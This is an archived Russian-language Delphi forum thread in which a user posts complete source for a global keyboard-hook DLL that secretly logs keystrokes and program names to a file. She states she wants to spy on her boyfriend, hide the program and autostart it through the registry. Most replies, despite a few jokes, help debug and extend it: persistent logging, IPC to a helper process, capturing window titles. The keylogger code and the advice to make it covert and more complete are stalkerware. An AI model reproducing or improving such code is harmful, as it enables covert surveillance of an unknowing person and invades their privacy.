Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2006.09.03;
Скачать: CL | DM;

Вниз

Запись в текстовый файл   Найти похожие ветки 

 
Tanya   (2006-07-26 21:33) [0]

Что-то я никак не пойму почему не работает запись в файл... Делаю я так:

var
F: TextFile;

при запуске программы:

 AssignFile(F, "file.dat");
 if FileExists("file.dat") then
   Append(F)
 else
   Rewrite(F);


при закрытии программы:

 CloseFile(F);


во время работы программы в определенные моменты файл постоянно дополняется новой строкой(ами):

WriteLn(F, "test");


Файл создается если его нету, но вот почему в него не записывается ничего я не пойму...((( В блокноте открываю его, а там пусто...((( Мастера, подскажите пожалуйста..


 
Джо ©   (2006-07-26 21:34) [1]

Предлагаю попробовать передавать в AssignFile полное имя файла с путем.


 
Tanya   (2006-07-26 21:38) [2]

Всеравно пустой...((( Может это из за того что я все это сделала в библиотеке? Вроде без разнице где...


 
Tanya   (2006-07-26 21:40) [3]

Я попробовала выводить сообщение еще в программе после строки WriteLn(F, "test"); так вот почему-то оно не выводится, такое ощущение что программа останавливается на этой строке...


 
Calibr ©   (2006-07-26 21:40) [4]

Попробуй сделать так:

AssignFile(f, ExtractFilePath(Application.ExeName) + "file.dat");

должно получиться!!!


 
Джо ©   (2006-07-26 21:42) [5]

Телепатор, честное слово, сдал в починку :)

Если есть желание выложить куда-нибудь полный код (или сразу проект, если он не велик и не содержит сторонних компонентов) , то обещаю посмотреть на него.


 
Джо ©   (2006-07-26 21:43) [6]

П.С. Во избежание дальнейших недоразумений, Татьяна, рекоммендую впредь подобные вопросы сразу постить в конференции "Начинающим".


 
Мефисто   (2006-07-26 21:47) [7]

По F1

var

 f: TextFile;
begin
 if OpenDialog1.Execute then
 begin                    { open a text file }
   AssignFile(f, OpenDialog1.FileName);
   Append(f);
   Writeln(f, "I am appending some stuff to the end of the file.");
   { insert code here that would require a Flush before closing the file }
   Flush(f);  { ensures that the text was actually written to file }
   CloseFile(f);
 end;

end;


 
Tanya   (2006-07-26 22:04) [8]

Хорошо Джо, буду писать в "Начинающим"..)) Выкладываю весь код:

Программа:

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, XPMan, StdCtrls;

type
 TForm1 = class(TForm)
   Button1: TButton;
   XPManifest1: TXPManifest;
   procedure Button1Click(Sender: TObject);
 end;

var
 Form1: TForm1;

procedure RunHook; stdcall; external "MyLib.dll" index 1;
procedure StopHook; stdcall; external "MyLib.dll" index 2;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
 if Button1.Caption = "Run" then
   begin
     Button1.Caption := "Stop";
     RunHook;
   end
 else
   if Button1.Caption = "Stop" then
     begin
       StopHook;
       Button1.Caption := "Run";
     end;
end;

end.


Библиотека:

library MyLib;

uses
 Windows, Messages, Dialogs, SysUtils;

var
 F: TextFile;
 SysHook: HHook = 0;

function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
 ModuleFileName: array[0..MAX_PATH-1] of Char;
 KeyBS: TKeyboardState;
 pTransChar : PChar;
begin
 if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
   begin
     GetKeyBoardState(KeyBS);
     GetMem(pTransChar, 3);
     ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));
     GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));

     WriteLn(F,  ModuleFileName);
     WriteLn(F,  pTransChar^);

     FreeMem(pTransChar);
     Result := 0;
   end
 else
   Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;

procedure RunHook; export; stdcall;
begin
 AssignFile(F, "c:\file.dat");
 if FileExists("c:\file.dat") then
   Append(F)
 else
   Rewrite(F);
 SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;

procedure StopHook; export; stdcall;
begin
 UnHookWindowsHookEx(SysHook);
 SysHook := 0;
 CloseFile(F);
end;

exports
 RunHook index 1,
 StopHook index 2;


P.S. Часть текста скопиравана с http://delphimaster.net/view/2-1153923540/ Идея понравилась, хочу проверить своего парня...)))


 
tesseract ©   (2006-07-26 22:08) [9]

> [8] Tanya   (26.07.06 22:04)

в DLL общие переменные плохо храняться. Прокисают.
Вот и вся проблема.
Лучше запускать отдельно сервис и в него передавать через WM_COPYDATA данные перехвата из DLL.

ЗЫ: Лучше парню поесть приготовьте получше - он оценит.


 
Мефисто   (2006-07-26 22:17) [10]


> хочу проверить своего парня...)))


Подгялдывать, не хорошо!...

Ералаш (с)


 
Tanya   (2006-07-26 22:21) [11]

Можно ли сделать какнибудь чтобы не прокисали? ))) Я просто хочу сделать ее незаметной, функции из библиотеки прописать на события запуска и выключения Windows-а в реестре..


 
Джо ©   (2006-07-26 22:23) [12]

Самое простое — открывать файл для записи, делать запись и закрывать файл прямо в SysMsgProc.


 
Tanya   (2006-07-26 22:27) [13]

Я так поняла что можно...))) Как вы думаете, на много это будет медленней работать, чтобы нагрузка на компъютер минимальная была?


 
Tanya   (2006-07-26 22:44) [14]

Мастера, подскажите еще пожалуйста еще один момент, как прочитать заголовок окна, в котором вводятся эти символы? А еще если можно, чтобы каши небыло, если можно, я только предположила, можно ли опрежедить хендл строки ввода? Т.е. Edit или Memo теже, чтобы сортировать уже по фразам, окнам и т.д...)))


 
Джо ©   (2006-07-26 22:45) [15]

> [13] Tanya   (26.07.06 22:27)
> Как вы думаете, на много это
> будет медленней работать, чтобы нагрузка на компъютер минимальная
> была?

Практика — критерий истины (c)


 
tesseract ©   (2006-07-26 22:50) [16]

> [12] Джо ©   (26.07.06 22:23)


Тормозить будет,  лучше сообщениями.


 
tesseract ©   (2006-07-26 22:54) [17]

> [14] Tanya   (26.07.06 22:44)

GetForegroundWindow - тоже прибавит нагрузки.


 
default ©   (2006-07-26 22:57) [18]

что нынче кухонные плиты с панелью для программирования стали выходить?
сомневаюсь, а ну марш к плите!


 
Tanya   (2006-07-26 23:02) [19]

Я придумала ))) Сделаю переменную типа TStringList и буду туда все скидывать, а потом при выключении сохраню один раз в файл ))) Только бы вот не "прокисла" бы эта переменная, до того как сохранить в файле...


 
tesseract ©   (2006-07-26 23:02) [20]

> [18] default ©   (26.07.06 22:57)


Будешь смеяться, но есть :-)


 
tesseract ©   (2006-07-26 23:04) [21]

> [19] Tanya   (26.07.06 23:02)

прокиснет, надо сделать приложение, которое будет писать в файл по сообщению от DLL. В универе такое делал. Работало.


 
default ©   (2006-07-26 23:05) [22]

tesseract ©   (26.07.06 23:02) [20]
с Delphi?


 
tesseract ©   (2006-07-26 23:07) [23]

> [22] default ©   (26.07.06 23:05)


с ARM вроде - был pascal для него :-)


 
Джо ©   (2006-07-26 23:07) [24]

> Сделаю переменную типа TStringList и буду туда все скидывать,
> а потом при выключении сохраню один раз в файл ))) Только
> бы вот не "прокисла" бы эта переменная, до того как сохранить
> в файле...

Прокиснет, не сомневайся :)


 
Tanya   (2006-07-26 23:13) [25]

интересно а в новых версиях Delphi(у меня 7) или вообще в C++ тоже такая проблема с переменными в библиотеках?


 
tesseract ©   (2006-07-26 23:18) [26]

> [25] Tanya   (26.07.06 23:13)

Это ограничение Dll и so.
не предназначены они, для хранения разделяемых данных.


 
Tanya   (2006-07-26 23:22) [27]

Тогда у меня еще вопрос...))) Может тогда лучше будет вообще в программе это все реализовать, без dll? Будут ловиться нажатия клавиш?


 
Tanya   (2006-07-26 23:23) [28]

Написать сервис например, тоже особо затно не будет...


 
tesseract ©   (2006-07-26 23:23) [29]

> [27] Tanya   (26.07.06 23:22)

нет перехватчик должен быть в  dll.


 
Tanya   (2006-07-26 23:26) [30]

А почему именно в dll? Объясните пожалуйста..))


 
tesseract ©   (2006-07-26 23:29) [31]

> [30] Tanya   (26.07.06 23:26)

exe не может проецироваться в адресное пространство других процессов.
п окрайней мере законно :-)

А hook"s aka перехватчики - это стандартный механизм ОС. И реализуется он в Dll. на Rsdn.ru была отличная статья по данной теме.

ЗЫ: Да я писал свой свой менеджер горячих клавиш :-)


 
-=Germe$=- ©   (2006-07-27 06:47) [32]

Вы вообще о чем?? Как текстовый вайл может иметь расширение .dat оно обязательно должно иметь расширение .txt


 
Джо ©   (2006-07-27 06:57) [33]

> [32] -=Germe$=- ©   (27.07.06 06:47)
> Вы вообще о чем?? Как текстовый вайл может иметь расширение
> .dat оно обязательно должно иметь расширение .txt

Рассмешил с утра, спасибо :)


 
-=Germe$=- ©   (2006-07-27 07:14) [34]


> Рассмешил с утра, спасибо :)

Зря... Оно так и работает... Иди поучи паскаль....


 
Slym ©   (2006-07-27 09:22) [35]

Кстати ни кто даже не предположил что доступ к файлу получится многопоточный :(
1. если один раз открыть файл в dll то писаться может чушь
2. если каждый раз открывать файл в dll то в прекрасный момент он может не открыться, т.к. уже захвачен в др. потоке


 
Slym ©   (2006-07-27 09:23) [36]

Решение:
один поток с доступом к файлу, это может быть приложение устанавливающее хук


 
Ditrix ©   (2006-07-27 09:47) [37]

>>-=Germe$=- ©   (27.07.06 07:14) [32][34]
>>Зря... Оно так и работает... Иди поучи паскаль....
убил! :-)
imho орешника достойно


 
isasa ©   (2006-07-27 10:34) [38]

Slym ©   (27.07.06 09:22) [35]
Slym ©   (27.07.06 09:23) [36]

Если в потоке(процедуре SysMsgProc) его открывать, и после записи закрываь, что, скорее всего надо делать, все будет хорошо.

Кстати, данные какого потока загружены в данный момент
var
F: TextFile;
SysHook: HHook = 0;
код один, а данные у каждого свои.


 
tesseract ©   (2006-07-27 10:46) [39]


> Slym ©   (27.07.06 09:23) [36]


три раза говорил про это.


 
Slym ©   (2006-07-27 12:05) [40]

tesseract ©   (27.07.06 10:46) [39]
Но ты подходил с позиции прокисшего хендла, а я с позиции незащищенного многопоточного доступа к неразделяемому ресурсу



Страницы: 1 2 3 вся ветка

Текущий архив: 2006.09.03;
Скачать: CL | DM;

Наверх




Память: 0.57 MB
Время: 0.049 c
2-1155263684
HoT@biCH
2006-08-11 06:34
2006.09.03
Вывод интернет денег


4-1147201306
grisme
2006-05-09 23:01
2006.09.03
Отслеживание создания файла.


15-1154881418
Pazitron_Brain
2006-08-06 20:23
2006.09.03
Как определить положение абонента


2-1155667989
novill
2006-08-15 22:53
2006.09.03
Как в runtime показать время компиляции программы?


15-1154843990
kilonet
2006-08-06 09:59
2006.09.03
связь с сервером НЕ через интернет